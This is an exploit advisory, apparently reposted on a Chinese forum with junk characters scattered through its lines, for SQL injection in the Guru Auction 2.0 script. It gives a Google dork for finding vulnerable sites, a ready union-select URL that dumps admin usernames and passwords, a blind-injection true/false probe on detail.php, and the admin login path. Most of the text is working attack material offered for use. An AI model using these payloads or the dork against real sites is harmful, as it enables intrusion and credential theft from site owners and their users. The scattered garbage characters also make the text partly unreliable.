Guru Auction 2.0多重sql注射

admin

Guru Auction 2.0 Multiple SQL Injection Vulnerabilities

5 U+ I" D- {, o# }. S* M1 ~) a作者     : v3n0m
# T5 ?" m- T; O应用 : Guru Auction 2.0
4 Y0 p: B. ~; lPrice       : $49
5 z7 j) }  Q& b  D# BVendor      : http://www.guruscript.com/
Google Dork : inurl:subcat.php?cate_id=
% H/ ^0 S- [$ i; B
SQLi p0c:
3 A; A5 Z9 g( p  R% L~~~~~~~~~~
5 S1 u+ S1 Q& r8 o1 x9 ~http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
3 P- Q" [! n% [7 `+ f1 U
- ?$ f, z& p; J+ W# U$ ^9 p
; V6 ^* w, M- H, [1 m- q/ L盲注 p0c:
+ H0 ]/ ~$ [  X3 R~~~~~~~~~~
8 @( z) M& J) x) Q. x: I6 C! r; G/ }http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
7 D! N/ H" Y; F# O& B9 D* s2 chttp://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
9 M5 U4 K5 ]% |# I2 b, t
( j4 [3 b) R5 j$ d( }6 H+ g- G管理登录入口:
9 U2 d( C$ p! Z  b~~~~~~~~~~
http://domain.tld/[path]/admin/